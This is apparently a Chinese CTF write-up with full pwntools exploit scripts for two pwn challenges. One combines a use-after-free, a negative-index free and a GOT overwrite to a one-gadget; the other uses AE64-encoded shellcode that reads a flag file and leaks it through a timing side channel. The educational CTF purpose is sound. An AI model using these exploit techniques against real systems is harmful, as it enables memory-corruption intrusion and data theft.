
当数组被填满的时候, 再进行删除会出现相同相同指针, 导致uaf
同时也存在数组负索引未检测的问题, 因此got表等也是可以被free的
后面就是修改got表, 使得指向onegadget的地址就行了
(这题当时没做出来主要是因为没发现uaf, 而且在本地仅靠负索引就可以做出来了, 但是在远程由于全局变量的改变, 导致负索引free等操作受限, 所以打不出来, 而且记录的这种做法很巧妙, 反正让我现在做也不一定做得出来, 记录下来主要是为了告诉自己got表可以尝试写入onegadget的hhh)
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
sh=process('./how2heap')
elf=ELF('./how2heap')
context.log_level='debug'
context.binary=elf
libc=elf.libc
def add(content='/bin/shx00'):
sh.recvuntil('> ')
sh.sendline('1')
sh.recvuntil('content: ')
sh.sendline(content)
def get(idx):
sh.recvuntil('> ')
sh.sendline('2')
sh.recvuntil('id: ')
sh.sendline(str(idx))
def dele(idx):
sh.recvuntil('> ')
sh.sendline('3')
sh.recvuntil('id: ')
sh.sendline(str(idx))
def exp():
#double free
[add() for i in range(49)]
dele(47)
[dele(46) for i in range(2)]
'''fake fd'''
add(p64(0x602088))
[add() for i in range(2)]
#gdb.attach(sh, '''b *0x400b37''')
dele(0x100000000-0xc)
dele(0x100000000-0xc)
payload1='''
push 0x6020c0
pop rax
ret
nop
'''
add(asm(payload1)+p32(0x100000000-0xf))
payload2='''
push 0x1324ba
pop rbx
sub r11, rbx
xor rax, rax
call r11
'''
gdb.attach(sh)
add(asm(payload2))
#gdb.attach(sh)
sh.interactive()
exp()
天翼杯2021-ezshell:
标准做法利用ae64生成, cmp阶段用alpha3会导致访问非法地址, 但ae64不会(剽窃群友叶子的exp, 因为的ae64坏掉了, 不晓得为什么)
还有个坑, seccomps检测出了个fd>>32>0的要求, 其实并不会生效
#!/usr/bin/env python
# coding=utf-8
from ae64 import *
from pwn import *
context(os='linux',arch='amd64')
EXCV = context.binary = './chall'
e = ELF(EXCV)
def pwn(p, index, ch): # open
shellcode = "push 0x101f2; pop rdi; xor esi, esi; push 2; pop rax;syscall;"
# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"
# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10300; pop rsi; syscall;"
# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode = asm(shellcode)
shellcode = AE64().encode(shellcode,'rdx')
payload = shellcode.ljust(0x200-14, b'a') + b'/home/pwn/flag'
p.sendafter("?n",payload)
index = 0
ans = []
while True:
for ch in range(0x20, 127):
p = process(EXCV)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print("".join([chr(i) for i in ans]))
其实用alpha3也可以强行做, 就后面不是直接cmp, 而是执行类似read(5, addr, 0x100)的东西, 5=open(你准备写入的shellcode), 其实就是cmp那个侧信道攻击, 毕竟它可见字符串检测只对第一次read有用, 后面的又不检测, 但是实在麻烦, 最起码要弄几十个记录侧信道cmp的shellcode二进制文件, 所以就仁者见仁智者见智了呗~